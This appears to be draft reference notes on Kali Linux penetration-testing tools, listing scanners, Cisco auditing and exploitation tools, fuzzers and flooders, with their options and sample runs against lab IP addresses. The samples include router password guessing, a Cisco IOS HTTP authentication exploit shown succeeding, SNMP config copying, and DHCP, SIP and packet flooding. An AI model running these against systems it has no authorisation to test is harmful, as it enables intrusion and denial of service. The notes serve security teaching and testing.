www.example.com:443 => 93.184.216.119:443
SCAN RESULTS FOR WWW.EXAMPLE.COM:443 - 93.184.216.119:443
---
* Compression :
Compression Support: Disabled
* Certificate :
Validation w/ Mozilla's CA Store: Certificate is Trusted

tlssled - http://www.taddong.com/en/lab.html
A shell script whose purpose is to evaluate the security of a target SSL/TLS (HTTPS) web server implementation. It is based on sslscan, a thorough SSL/TLS scanner that is based on the openssl library, and on the "openssl s_client" command line tool. The current tests include checking if the target supports the SSLv2 protocol, the NULL cipher, weak ciphers based on their key length (40 or 56 bits), the availability of strong ciphers (like AES), if the digital certificate is MD5 signed, and the current SSL/TLS renegotiation capabilities.
/usr/bin/tlssled <hostname or IP_address> <port>

tlssled 192.168.1.1 443
TLSSLed - (1.3) based on sslscan and openssl
openssl version: OpenSSL 1.0.1e 11 Feb 2013
[*] Analyzing SSL/TLS on 192.168.1.1:443 ...
[.] Output directory: TLSSLed_1.3_192.168.1.1_443_20140513-165131 ...
[*] Checking if the target service speaks SSL/TLS...
[.] The target service 192.168.1.1:443 seems to speak SSL/TLS...
[.] Using SSL/TLS protocol version:
(empty means I'm using the default openssl protocol version(s))
[*] Running sslscan on 192.168.1.1:443 ...
[-] Testing for SSLv2 ...
[-] Testing for the NULL cipher ...

2. The Vulnerability Analysis menu

Main Menu

golisermo - https://github.com/golismero/golismero

An open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
The framework also collects and unifies the results of well known tools: sqlmap, xsser, openvas, dnsrecon, theharvester. Integration with standards: CWE, CVE and OWASP.
GoLismero 2.0.0b3 - The Web Knife
SCAN: Perform a vulnerability scan on the given targets. Optionally import results from other tools and write a report. The arguments that follow may be domain names, IP addresses or web pages.
PROFILES: Show a list of available config profiles. This command takes no arguments.
PLUGINS: Show a list of available plugins. This command takes no arguments.
INFO: Show detailed information on a given plugin. The arguments that follow are the plugin IDs. You can use glob-style wildcards.
REPORT: Write a report from an earlier scan. This command takes no arguments. To specify output files use the -o switch.
IMPORT: Import results from other tools and optionally write a report, but don't scan the targets. This command takes no arguments. To specify input files use the -i switch.
DUMP: Dump the database from an earlier scan in SQL format. This command takes no arguments. To specify output files use the -o switch.
UPDATE: Update GoLismero to the latest version. Requires Git to be installed and available in the PATH. This command takes no arguments.

scan a website and show the results on screen:
golismero.py scan http://www.example.com
grab Nmap results, scan all hosts found and write an HTML report:
golismero.py scan -i nmap_output.xml -o report.html
grab results from OpenVAS and show them on screen, but don't scan anything:
golismero.py import -i openvas_output.xml
show a list of all available configuration profiles:
golismero.py profiles
show a list of all available plugins:
golismero.py plugins
show information on all bruteforcer plugins:
golismero.py info brute_*
dump the database from a previous scan:
golismero.py dump -db example.db -o dump.sql
Run a vulnerability scan (scan) against the targets in the input file (-i /root/port80.xml), saving the output to a file (-o sub1-port80.html):
golismero scan -i /root/port80.xml -o sub1-port80.html

lynis - http://rootkit.nl/projects/lynis.html
Lynis is an open source security auditing tool. Its main goal is to audit and harden Unix and Linux based systems. It scans the system by performing many security control checks. Examples include searching for installed software and determine possible configuration flaws.

Many tests are part of common security guidelines and standards, with on top additional security tests. After the scan a report will be displayed with all discovered findings. To provide you with initial guidance, a link is shared to the related Lynis control.
Scan options:
--auditor "<name>" : Auditor name
--check-all (-c) : Check system
--no-log : Don't create a log file
--profile <profile> : Scan the system with the given profile file
--quick (-Q) : Quick mode, don't wait for user input
--tests "<tests>" : Run only tests defined by <tests>
--tests-category "<category>" : Run only tests defined by <category>

Layout options:
--no-colors : Don't use colors in output
--quiet (-q) : No output, except warnings
--reverse-colors : Optimize color display for light backgrounds

Misc options:

```
    --check-update              : Check for updates
    --view-manpage (--man)      : View man page
    --version (-V)              : Display version number and quit

# lynis -Q --cronjob
 [+] Initializing program
- Detecting OS...  [ DONE ]
- Clearing log file (/var/log/lynis.log)...  [ DONE ]
Program version:           1.5.5
  Operating system:         Linux
  Operating system name:    Debian
  Operating system version:  Kali Linux 1.0.9
  Kernel version:           3.14-kali1-686-pae
  Hardware platform:        i686
  Hostname:                 kali
  Auditor:                  [Unknown]
  Profile:                  /etc/lynis/default.prf
  Log file:                 /var/log/lynis.log
  Report file:              /var/log/lynis-report.dat
  Report version:           1.0
  Plugin directory:         /etc/lynis/plugins
- Checking profile file (/etc/lynis/default.prf)...
```

nikto - https://cirt.net/Nikto2 - need's its own intro

Nikto is an open source software which acts as a web server scanner which performs multiple tests against web servers for many items which include 6500 potentially dangerous CGIs or files. It also checks for outdated versions of about 1250 servers. It also checks for about the problems on specific servers of about 270 kinds. It checks for server configuration items.

nikto -h <domain name>

for example: nikto -h www.anything(domain).com

After that you will be shown a detailed scan and you will also get to know how you will be able to penetrate the website. for example, you may get a message that shall tell you that Attackers may be able to crash FrontPage by requesting a DOS Device.

By pressing any of the below you can turn on or off the following features even during an active scan.

SPACE - Report current scan status
v - Turn verbose mode on/off
d - Turn debug mode on/off
e - Turn error reporting on/off
p - Turn progress reporting on/off
r - Turn redirect display on/off
c - Turn cookie display on/off
o - Turn OK display on/off
a - Turn auth display on/off
q - Quit
N - Next host
P - Pause

sparta - Spasrta needs it's own overview - It covers a lot.

unix-privesc-check - http://pentestmonkey.net/tools/audit/unix-privesc-check

A script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases). It is written as a single shell script so it can be easily uploaded and run (as opposed to un-tarred, compiled and installed). It can run either as a normal user or as root (obviously it does a better job when running as root because it can read more files).

unix-privesc-check { standard | detailed }

"standard" mode: Speed-optimised check of lots of security settings.

"detailed" mode: Same as standard mode, but also checks perms of open file handles and called files (e.g. parsed from shell scripts, linked .so files). This mode is slow and prone to false positives but might help you find more subtle flaws in 3rd

party programs.
This script checks file permissions and other settings that could allow local users to escalate privileges. Search the output for the word 'WARNING'. If you don't see it then this script didn't find any problems.

Cisco Tools

cisco-auditing-tool - (CAT) - Perl script which scans cisco routers for common vulnerabilities.
http://www.scrypt.net/
-h hostname (for scanning single hosts)
-f hostfile (for scanning multiple hosts)
-p port # (default port is 23)
-w wordlist (wordlist for community name guessing)
-a passlist (wordlist for password guessing)
-i [ioshist] (Check for IOS History bug)
-l logfile (file to log to, default screen)
-q quiet mode (no screen output)
Scan the host (-h 192.168.99.230) on port 23 (-p 23), using a password dictionary file (-a /usr/share/wordlists/nmap.lst):
CAT -h 192.168.99.230 -p 23 -a /usr/share/wordlists/nmap.lst
Cisco Auditing Tool - g0ne [null0]
Checking Host: 192.168.99.230
Guessing passwords:
Invalid Password: 123456
Invalid Password: 12345

cisco-global-exploiter (CGE), is an advanced, simple and fast security testing tool
http://www.blackangels.it/
perl cge.pl <target> <vulnerability number>
Vulnerabilities list :
[1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
[2] - Cisco IOS Router Denial of Service Vulnerability
[3] - Cisco IOS HTTP Auth Vulnerability
[4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
[5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
[6] - Cisco 675 Web Administration Denial of Service Vulnerability
[7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
[9] - Cisco 514 UDP Flood Denial of Service Vulnerability
[10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
[11] - Cisco Catalyst Memory Leak Vulnerability
[12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
[13] - 0 Encoding IDS Bypass Vulnerability (UTF)
[14] - Cisco IOS HTTP Denial of Service Vulnerability
Attack the target host (192.168.99.230) using the Cisco IOS HTTP Auth Vulnerability (3):
root@kali:~# cge.pl 192.168.99.230 3
Vulnerability successful exploited with [http://192.168.99.230/level/17/exec/....] ...

cisco-ocs - mass Cisco scanning tool
http://www.blackangels.it/
cisco-ocs 192.168.99.200 192.168.99.202
-192.168.99.200
|Logging... 192.168.99.200
|Router not vulnerable.
-192.168.99.201
|Logging... 192.168.99.201
|Router not vulnerable.
-192.168.99.202
|Logging... 192.168.99.202

|Router not vulnerable.

cisco-torch - http://www.hackingciscoexposed.com/?link=tools
Cisco Torch mass scanning, fingerprinting, and exploitation tool was written while working on the next edition of the “Hacking Exposed Cisco Networks”, since the tools available on the market could not meet our needs.

The main feature that makes Cisco-torch different from similar tools is the extensive use of forking to launch multiple scanning processes on the background for maximum scanning efficiency. Also, it uses several methods of application layer fingerprinting simultaneously, if needed. We wanted something fast to discover remote Cisco hosts running Telnet, SSH, Web, NTP and SNMP services and launch dictionary attacks against the services discovered.

```
# cisco-torch
Using config file torch.conf...
usage: cisco-torch <options> <IP,hostname,network>
or: cisco-torch <options> -F <hostlist>
-O <output file>
-A      All fingerprint scan types combined
-t      Cisco Telnetd scan
-s      Cisco SSHd scan
-u      Cisco SNMP scan
-g      Cisco config or tftp file download
-n      NTP fingerprinting scan
-j      TFTP fingerprinting scan
-l <type>   loglevel
        c  critical (default)
        v  verbose
        d  debug
-w      Cisco Webserver scan
-z      Cisco IOS HTTP Authorization Vulnerability Scan
-c      Cisco Webserver with SSL support scan
-b      Password dictionary attack (use with -s, -u, -c, -w , -j or -t only)
-V      Print tool version and exit
examples:   cisco-torch -A 10.10.0.0/16
        cisco-torch -s -b -F sshtocheck.txt
        cisco-torch -w -z 10.10.0.0/16
        cisco-torch -j -b -g -F tftptocheck.txt
```

Run all available scan types (-A) against the target IP address (192.168.99.202):

```
# cisco-torch -A 192.168.99.202
Using config file torch.conf...
#   Cisco Torch Mass Scanner                #
#   http://www.arhont.com/cisco-torch.pl                    #
List of targets contains 1 host(s)
8853:   Checking 192.168.99.202 ...
HUH db not found, it should be in fingerprint.db
Skipping Telnet fingerprint
* Cisco by SNMP found ***
*System Description: Cisco Internetwork Operating System Software
IOS (tm) 3600 Software (C3640-IK9O3S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by cisco Systems, Inc.
Compiled Wed 24-Jan-07 1

Cisco-IOS Webserver found
 HTTP/1.1 401 Unauthorized
Date: Tue, 13 Apr 1993 00:57:07 GMT
Server: cisco-IOS
Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
```

Cisco WWW-Authenticate webserver found
HTTP/1.1 401 Unauthorized
Date: Tue, 13 Apr 1993 00:57:07 GMT
Server: cisco-IOS
Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
--->
- All scans done. Cisco Torch Mass Scanner -
---> Exiting.

copy-router-config and merge-router-config
Copies and merges Cisco configs via SNMP
http://www.offensive-security.com/ [muts@offensive-security.com]

copy-router-config
Copy the config from the router (192.168.1.1) to the TFTP server (192.168.1.15), authenticating with the community string (private):
copy-router-config.pl 192.168.1.1 192.168.1.15 private

merge-router-config
Merge the config with the router (192.168.1.1), copying from the TFTP server (192.168.1.15), using the community string (private):
merge-router-config.pl 192.168.1.1 192.168.1.15 private

yersinia - http://www.yersinia.net/
a framework for performing layer 2 attacks. It is designed to take advantage of some weakeness in different network protocols. It pretends to be a solid framework for analyzing and testing the deployed networks and systems. Attacks for the following network protocols are implemented in this particular release:

- Spanning Tree Protocol (STP)
- Cisco Discovery Protocol (CDP)
- Dynamic Trunking Protocol (DTP)
- Dynamic Host Configuration Protocol (DHCP)
- Hot Standby Router Protocol (HSRP)
- 802.1q
- 802.1x
- Inter-Switch Link Protocol (ISL)
- VLAN Trunking Protocol (VTP)

Usage: yersinia [-hVGIDd] [-l logfile] [-c conffile] protocol [protocol_options]
-V Program version.
-h This help screen.
-G Graphical mode (GTK).
-I Interactive mode (ncurses).
-D Daemon mode.
-d Debug.
-l logfile Select logfile.
-c conffile Select config file.
protocol One of the following: cdp, dhcp, dot1q, dot1x, dtp, hsrp, isl, mpls, stp, vtp.

Try 'yersinia protocol -h' to see protocol_options help
See the man page for a full list of options and many examples.
Kali given example just shows GUI window. Might need its own overview

Fuzzing Tools

bed - (provided websites are expired domains or inconclusive)
./bed.pl -s <plugin> -t <target> -p <port> -o <timeout> [depends on the plugin]

<plugin> = FTP/SMTP/POP/HTTP/IRC/IMAP/PJL/LPD/FINGER/SOCKS4/SOCKS5
<target> = Host to check (default: localhost)
<port> = Port to connect to (default: standard port)
<timeout> = seconds to wait after each test (default: 2 seconds)
use "./bed.pl -s <plugin>" to obtain the parameters you need for the plugin.
Only -s is a mandatory switch.

Use the HTTP plugin (-s HTTP) to fuzz the target server (-t 192.168.1.15):
bed -s HTTP -t 192.168.1.15
+ Buffer overflow testing:
    testing: 1 HEAD XAXAX HTTP/1.0

ohrwurm - http://mazzoo.de/blog/2006/08/25#ohrwurm
ohrwurm is a small and simple RTP fuzzer that has been successfully tested on a small number of SIP phones.
- reads SIP messages to get information of the RTP port numbers
- reading SIP can be omitted by providing the RTP port numbers, sothat any RTP traffic can be fuzzed
- RTCP traffic can be suppressed to avoid that codecs
- learn about the “noisy line”
- special care is taken to break RTP handling itself
- the RTP payload is fuzzed with a constant BER
- the BER is configurable
- requires arpspoof from dsniff to do the MITM attack
- requires both phones to be in a switched LAN (GW operation only works partially)

ohrwurm -a <IP target a> -b <IP target b> [-s <randomseed>] [-e <bit error ratio in %>] [-i <interface>] [-A <RTP port a> -B <RTP port b>]

- -a <IPv4 address A in dot-decimal notation> SIP phone A
- -b <IPv4 address B in dot-decimal notation> SIP phone B
- -s <integer> randomseed (default: read from /dev/urandom)
- -e <double> bit error ratio in % (default: 1.230000)
- -i <interfacename> network interface (default: eth0)
- -t suppress RTCP packets (default: dont suppress)
- -A <port number> of RTP port on IP a (requires -B)
- -B <port number> of RTP port on IP b (requires -A)
  note: using -A and -B skips SIP sniffing, any RTP can be fuzzed

Fuzz two hosts (-a 192.168.1.123 -b 192.168.1.15), both on port 6970 (-A 6970 -B 6970), through eth0 (-i eth0):
ohrwurm -a 192.168.1.123 -b 192.168.1.15 -A 6970 -B 6970 -i eth0
ohrwurm-0.1
using random seed 2978455466

powerfuzzer - http://www.powerfuzzer.com/
Powerfuzzer is a GUI with little (or no) documentation at the website. It also seems to have features (e.g. cookies) only available in a paid version
Capable of identifying these problems:
- Cross Site Scripting (XSS)
- Injections (SQL, LDAP, code, commands, and XPATH)
- CRLF
- HTTP 500 statuses (usually indicative of a possible misconfiguration/security flaw incl. buffer overflow)

Designed and coded to be modular and extendable. Adding new checks should simply entail adding new methods.

sfuzz - https://github.com/orgcandman/Simple-Fuzzer
Built to just be a quickly configurable black box testing utility. Has two network modes of operation, an output mode for developing command line fuzzing scripts, as well as taking fuzzing strings from literals and building strings from sequences.

- simple script language for creating test cases
- support for repeating strings as well as fixed strings (‘sequences’ vs. ‘literals’)
- variables within test cases (ex: strings to be replaced with different strings)
- tcp and udp payload transport (icmp support tbd)
- binary substitution support (see basic.a11 for more information)

plugin support (NEW!) see plugin.txt for more information.
previous packet contents inclusion

```
# sfuzz -h
url:     http://aconole.brad-x.com/programs/sfuzz.html
Build-prefix: /usr
   -h   This message.
   -V   Version information.
networking / output:
   -v   Verbose output
   -q   Silent output mode (generally for CLI fuzzing)
   -X   prints the output in hex
   -b   Begin fuzzing at the test specified.
   -e   End testing on failure.
   -t   Wait time for reading the socket
   -S   Remote host
   -p   Port
   -T|-U|-O TCP|UDP|Output mode
   -R   Refrain from closing connections (ie: "leak" them)
   -f   Config File
   -L   Log file
   -n   Create a new logfile after each fuzz
   -r   Trim the tailing newline
   -D   Define a symbol and value (X=y).
   -l   Only perform literal fuzzing
   -s   Only perform sequence fuzzing
sfuzz Usage Example
```

Fuzz the target server (-S 192.168.1.1) on port 10443 (-p 10443) with TCP output mode (-T), using the basic HTTP config (-f /usr/share/sfuzz/sfuzz-sample/basic.http):

```
# sfuzz -S 192.168.1.1 -p 10443 -T -f /usr/share/sfuzz/sfuzz-sample/basic.http
[12:53:47] dumping options:
   filename: </usr/share/sfuzz/sfuzz-sample/basic.http>
   state:    <8>
   lineno:   <56>
   literals:  [74]
   sequences: [34]
   symbols: [0]
   req_del:  <200>
   mseq_len: <10024>
   plugin: <none>
   s_syms: <0>
   literal[1] = [AREALLYBADSTRING]
```

siparmyknife - http://packetstormsecurity.com/files/107301/SIP-Army-Knife-Fuzzer-1123
"a fuzzer that searches for cross site scripting, SQL injection, log injection, format strings, buffer overflows, and more"
There wasn't much of a usage guide to present here. Just "siparmyknife -h <hostname/ip>

SPIKE Fuzzer - Links found directly supporting this were 404'd
Kali presents a few variants:
spike-gene...
spike-gene...(2)
spike-gene...(3)
spike-gene...(4)
SPIKE is a GPL'd API and set of tools that allows you to quickly create network protocol stress testers. Most protocols are built around extremely similar data formatting primitives
Goals: Find new vulnerabilities by; making it easy to quickly reproduce a complex binary protocol; develop a base of knowledge within SPIKE about different kinds of bugclasses affecting similar protocols; test old vulnerabilities on new programs; make it easy to manually mess with protocols

The Process of Using SPIKE on an unknown protocol; use Ethereal to cut and paste the packets into s_binary(); eplace as much of the protocol as possible with deeper level spike calls s_xdr_string(); s_word(); etc; find length fields and mark them out with size calls and s_block_start(), s_block_end(); make sure protocol still works :>; integrate with fuzzing framework (2 while() loops) and let the SPIKE fuzzer do the boring work; manually mess with the packets to see if you can cause any aberrant behaviour (attach ollydebug first); write up the exploits

Stress Testing

dhcpig - DHCP exhaustion script written in python using scapy network library
pig.py [-h -v -6 -1 -s -f -t -a -i -o -l -x -y -z -g -r -n -c] <interface>

Options:
-h, --help <-- you are here :)
-v, --verbosity ... 0 ... no (3)
1 ... minimal
10 ... default
99 ... debug
-6, --ipv6 ... DHCPv6 (off, DHCPv4 by default)
-1, --v6-rapid-commit ... enable RapidCommit (2way ip assignment instead of 4way) (off)

-s, --client-src ... a list of client macs 00:11:22:33:44:55,00:11:22:33:44:56 (Default: <random>)
-O, --request-options ... option-codes to request e.g. 21,22,23 or 12,14-19,23 (Default: 0-80)

-f, --fuzz ... randomly fuzz packets (off)

-t, --threads ... number of sending threads (1)

-a, --show-arp ... detect/print arp who_has (off)
-i, --show-icmp ... detect/print icmps requests (off)
-o, --show-options ... print lease infos (off)
-l, --show-lease-confirm ... detect/print dhcp replies (off)

-g, --neighbors-attack-garp ... knock off network segment using gratious arps (off)
-r, --neighbors-attack-release ... release all neighbor ips (off)
-n, --neighbors-scan-arp ... arp neighbor scan (off)

-x, --timeout-threads ... thread spawn timer (0.4)
-y, --timeout-dos ... DOS timeout (8) (wait time to mass grat.arp)
-z, --timeout-dhcprequest ... dhcp request timeout (2)

-c, --color ... enable color output (off)

EXAMPLES
./pig.py eth1
./pig.py --show-options eth1
./pig.py -x1 --show-options eth1
./pig.py -6 eth1
./pig.py -6 --fuzz eth1
./pig.py -6 -c -verbosity=1 eth1
./pig.py -6 -c -verbosity=3 eth1
./pig.py -6 -c -verbosity=100 eth1
./pig.py --neighbors-scan-arp -r -g --show-options eth1

iaxflood - http://www.hackingexposedvoip.com/sec_tools.html - VoIP flooder
A UDP Inter-Asterisk_eXchange (i.e. IAX) packet was captured from an IAX channel between two Asterisk IP PBX's. The content of that packet is the source of the payload for the attack embodied by this tool. While the IAX protocol header might not match the Asterisk PBX you'll attack with this tool, it may require more processing on the part of the PBX than a simple udpflood without any payload that even resembles an IAX payload.
iaxflood
usage: iaxflood sourcename destinationname numpackets

Flood the VoIP server from the source (192.168.1.202) to destination (192.168.1.1) by sending 500 packets:
iaxflood 192.168.1.202 192.168.1.1 500
Will flood port 4569 from port 4569 500 times
We have IP_HDRINCL

inviteflood - http://www.hackingvoip.com/sec_tools.html
- perform SIP/SDP INVITE message flooding over UDP/IP
inviteflood -h
Mandatory -
interface (e.g. eth0)
target user (e.g. "" or john.doe or 5000 or "1+210-555-1212")
target domain (e.g. enterprise.com or an IPv4 address)
IPv4 addr of flood target (ddd.ddd.ddd.ddd)
flood stage (i.e. number of packets)
Optional -
-a flood tool "From:" alias (e.g. jane.doe)
-i IPv4 source IP address [default is IP address of interface]
-S srcPort (0 - 65535) [default is well-known discard port 9]
-D destPort (0 - 65535) [default is well-known SIP port 5060]
-l lineString line used by SNOM [default is blank]
-s sleep time btwn INVITE msgs (usec)
-h help - print this usage
-v verbose output mode
Using the eth0 interface (eth0) and the provided user (5000), flood the target domain (example.local) and flood target (192.168.1.5) using 100 packets (100):
inviteflood eth0 5000 example.local 192.168.1.5 100
source IPv4 addr:port = 192.168.1.202:9
dest IPv4 addr:port = 192.168.1.5:5060
targeted UA = 5000@192.168.1.1
Flooding destination with 100 packets
sent: 100

siege - https://www.joedog.org/siege-manual/
- you can store most of your command line options in ~/.seigerc
A multi-threaded http load testing and benchmarking utility. It was designed to let web developers measure the performance of their code under duress. It allows one to hit a web server with a configurable number of concurrent simulated users. Those users place the webserver "under siege." Performance measures include elapsed time, total data transferred, server response time, its transaction rate, its throughput, its concurrency and the number of times it returned OK. Siege has essentially three modes of operation: regression (when invoked by bombardment), internet simulation and brute force.
siege [options] siege [options] [url]
siege -g [url]
-C, --config
CONFIGURATION, prints the current configuration in the $HOME/.siegerc file. Edit that file to set flag values for EVERY siege run, a feature which eases runtime invocation. You set an alternative resource file with the SIEGERC environment variable: export SIEGERC=/home/jeff/haha
-v, --verbose
VERBOSE, prints the HTTP return status and the GET request to the screen. Useful when reading a series of URLs from a configuration file. This flag allows you to witness the progress of the test.
-q, --quiet
QUIET turns off verbose and suppresses most output. This option was added primarily for scripting with -g/--get. If you run a full siege in quiet mode, you'll still get the opening introduction and the final stats.
-g, --get
GET HTTP headers and display the transaction. Siege exits 1 if the transaction doesn't contain at least one HTTP 200 response, otherwise it exits 0. You can limit the transaction to just the headers by setting gmethod=HEAD in $HOME/.siegerc
-c NUM, --concurrent=NUM
CONCURRENT, allows you to set the concurrent number of simulated users to num. The number of simulated users is limited to the resources on the computer running siege.
-i, --internet

INTERNET, generates user simulation by randomly hitting the URLs read from the urls.txt file. This option is viable only with the urls.txt file.
-d NUM, --delay=NUM
DELAY, each siege simulated users sleeps for a random interval in seconds between 0 and NUM.
-b, --benchmark
BENCHMARK, runs the test with NO DELAY for throughput benchmarking. By default each simulated user is invoked with at least a one second delay. This option removes that delay. It is not recommended that you use this option while load testing.
-r NUM, --reps=NUM, --reps=once
REPS, allows you to run the siege for NUM repetitions. If --reps=once, then siege will run through the urls.txt file one time and stop when it reaches the end. NOTE: -t/--time takes precedent over -r/--reps. If you want to use this option, make sure time = x is commented out in your $HOME/.siegerc file.
-t NUMm, --time=NUMm
TIME, allows you to run the test for a selected period of time. The format is "NUMm", where NUM is a time unit and the "m" modifier is either S, M, or H for seconds, minutes and hours. To run siege for an hour, you could select any one of the following combinations: -t3600S, -t60M, -t1H. The modifier is not case sensitive, but it does require no space between the number and itself.
-l [FILE], --log[=FILE]
LOG transaction stats to FILE. The argument is optional. If FILE is not specified, then siege logs the transaction to SIEGE_HOME/var/siege.log. If siege is installed in /usr/local, then the default siege.log is /usr/local/var/siege.log. This option logs the final statistics reported when siege successfully completes its test. You can edit $HOME/.siegerc to change the location of the siege.log file.
-m MESSAGE, --mark=MESSAGE
MARK, mark the log file with a separator. This option will allow you to separate your log file entries with header information. This is especially useful when testing two different servers. It is not necessary to use both the -m option and the -l option. -m assumes -l so it marks and logs the transaction. If the MESSAGE has spaces in it, make sure that you put it in quotes.
-H HEADER, --header=HEADER
HEADER, this option allows you to add additional header information.
-R SIEGERC, --rc=SIEGERC
RC, sets the siegerc file for the run. This option overrides the environment variable SIEGERC and the default resource file, $HOME/.siegerc
-f FILE, --file=FILE
FILE, the default URL file is SIEGE_HOME/etc/urls.txt. To select a different URL file, use this option, i.e., siege -f myurls.txt
-A "User Agent", --user-agent="User Agent"
AGENT, use this option to set the User-Agent in the request.

t50 - http://t50.sourceforge.net/
Multi-protocol packet injector tool for *nix systems, actually supporting 15 protocols. Features: – Flooding – CIDR support – TCP, UDP, ICMP, IGMPv2, IGMPv3, EGP, DCCP, RSVP, RIPv1, RIPv2, GRE, ESP, AH, EIGRP and OSPF support. – TCP Options. – High performance. – Can hit about 1.000.000 packets per second.
t50 -h
T50 Experimental Mixed Packet Injector Tool 5.4.1-rc1
Usage: T50 <host> [/CIDR] [options]
Common Options:
--threshold NUM Threshold of packets to send (default 1000)
--flood This option supersedes the 'threshold'
--encapsulated Encapsulated protocol (GRE) (default OFF)
-B,--bogus-csum Bogus checksum (default OFF)
--turbo Extend the performance (default OFF)
-v,--version Print version and exit
-h,--help Display this help and exit
GRE Options:
--gre-seq-present GRE sequence # present (default OFF)
--gre-key-present GRE key present (default OFF)
--gre-sum-present GRE checksum present (default OFF)
--gre-key NUM GRE key (default RANDOM)
--gre-sequence NUM GRE sequence # (default RANDOM)
--gre-saddr ADDR GRE IP source IP address (default RANDOM)

```
   --gre-daddr ADDR         GRE IP destination IP address    (default RANDOM)
DCCP/TCP/UDP Options:
   --sport NUM              DCCP|TCP|UDP source port         (default RANDOM)
   --dport NUM              DCCP|TCP|UDP destination port    (default RANDOM)
IP Options:
 -s,--saddr ADDR            IP source IP address             (default RANDOM)
   --tos NUM                IP type of service               (default 0x40)
   --id NUM                 IP identification                (default RANDOM)
   --frag-offset NUM        IP fragmentation offset          (default 0)
   --ttl NUM                IP time to live                  (default 255)
   --protocol PROTO         IP protocol                      (default TCP)
ICMP Options:
   --icmp-type NUM          ICMP type                        (default 8)
   --icmp-code NUM          ICMP code                        (default 0)
   --icmp-gateway ADDR      ICMP redirect gateway            (default RANDOM)
   --icmp-id NUM            ICMP identification              (default RANDOM)
   --icmp-sequence NUM      ICMP sequence #                  (default RANDOM)
IGMP Options:
   --igmp-type NUM          IGMPv1/v3 type                   (default 0x11)
   --igmp-code NUM          IGMPv1/v3 code                   (default 0)
   --igmp-group ADDR        IGMPv1/v3 address                (default RANDOM)
   --igmp-qrv NUM           IGMPv3 QRV                       (default RANDOM)
   --igmp-suppress          IGMPv3 suppress router-side      (default OFF)
   --igmp-qqic NUM          IGMPv3 QQIC                      (default RANDOM)
   --igmp-grec-type NUM     IGMPv3 group record type         (default 1)
   --igmp-sources NUM       IGMPv3 # of sources              (default 2)
   --igmp-multicast ADDR    IGMPv3 group record multicast    (default RANDOM)
   --igmp-address ADDR,...  IGMPv3 source address(es)        (default RANDOM)
TCP Options:
   --acknowledge NUM        TCP ACK sequence #               (default RANDOM)
   --sequence NUM           TCP SYN sequence #               (default RANDOM)
   --data-offset NUM        TCP data offset                  (default 5)
 -F,--fin                   TCP FIN flag                     (default OFF)
 -S,--syn                   TCP SYN flag                     (default OFF)
 -R,--rst                   TCP RST flag                     (default OFF)
 -P,--psh                   TCP PSH flag                     (default OFF)
 -A,--ack                   TCP ACK flag                     (default OFF)
 -U,--urg                   TCP URG flag                     (default OFF)
 -E,--ece                   TCP ECE flag                     (default OFF)
 -C,--cwr                   TCP CWR flag                     (default OFF)
 -W,--window NUM            TCP Window size                  (default NONE)
   --urg-pointer NUM        TCP URG pointer                  (default NONE)
   --mss NUM                TCP Maximum Segment Size         (default NONE)
   --wscale NUM             TCP Window Scale                 (default NONE)
   --tstamp NUM:NUM         TCP Timestamp (TSval:TSecr)      (default NONE)
   --sack-ok                TCP SACK-Permitted               (default OFF)
   --ttcp-cc NUM            T/TCP Connection Count (CC)      (default NONE)
   --ccnew NUM              T/TCP Connection Count (CC.NEW)  (default NONE)
   --ccecho NUM             T/TCP Connection Count (CC.ECHO) (default NONE)
   --sack NUM:NUM           TCP SACK Edges (Left:Right)      (default NONE)
   --md5-signature          TCP MD5 signature included       (default OFF)
   --authentication         TCP-AO authentication included   (default OFF)
   --auth-key-id NUM        TCP-AO authentication key ID     (default 1)
   --auth-next-key NUM      TCP-AO authentication next key   (default 1)
   --nop                    TCP No-Operation                 (default EOL)
EGP Options:
   --egp-type NUM           EGP type                         (default 3)
   --egp-code NUM           EGP code                         (default 3)
   --egp-status NUM         EGP status                       (default 1)
   --egp-as NUM             EGP autonomous system            (default RANDOM)
   --egp-sequence NUM       EGP sequence #                   (default RANDOM)
```

```
   --egp-hello NUM          EGP hello interval              (default RANDOM)
   --egp-poll NUM           EGP poll interval               (default RANDOM)
RIP Options:
   --rip-command NUM        RIPv1/v2 command                (default 2)
   --rip-family NUM         RIPv1/v2 address family         (default 2)
   --rip-address ADDR       RIPv1/v2 router address         (default RANDOM)
   --rip-metric NUM         RIPv1/v2 router metric          (default RANDOM)
   --rip-domain NUM         RIPv2 router domain             (default RANDOM)
   --rip-tag NUM            RIPv2 router tag                (default RANDOM)
   --rip-netmask ADDR       RIPv2 router subnet mask        (default RANDOM)
   --rip-next-hop ADDR      RIPv2 router next hop           (default RANDOM)
   --rip-authentication     RIPv2 authentication included   (default OFF)
   --rip-auth-key-id NUM    RIPv2 authentication key ID     (default 1)
   --rip-auth-sequence NUM  RIPv2 authentication sequence #  (default RANDOM)
DCCP Options:
   --dccp-data-offset NUM   DCCP data offset                (default VARY)
   --dccp-cscov NUM         DCCP checksum coverage          (default 0)
   --dccp-ccval NUM         DCCP HC-Sender CCID             (default RANDOM)
   --dccp-type NUM          DCCP type                       (default 0)
   --dccp-extended          DCCP extend for sequence #      (default OFF)
   --dccp-sequence-1 NUM    DCCP sequence #                 (default RANDOM)
   --dccp-sequence-2 NUM    DCCP extended sequence #        (default RANDOM)
   --dccp-sequence-3 NUM    DCCP sequence # low             (default RANDOM)
   --dccp-service NUM       DCCP service code               (default RANDOM)
   --dccp-acknowledge-1 NUM  DCCP acknowledgment # high     (default RANDOM)
   --dccp-acknowledge-2 NUM  DCCP acknowledgment # low      (default RANDOM)
   --dccp-reset-code NUM    DCCP reset code                 (default RANDOM)
RSVP Options:
   --rsvp-flags NUM         RSVP flags                      (default 1)
   --rsvp-type NUM          RSVP message type               (default 1)
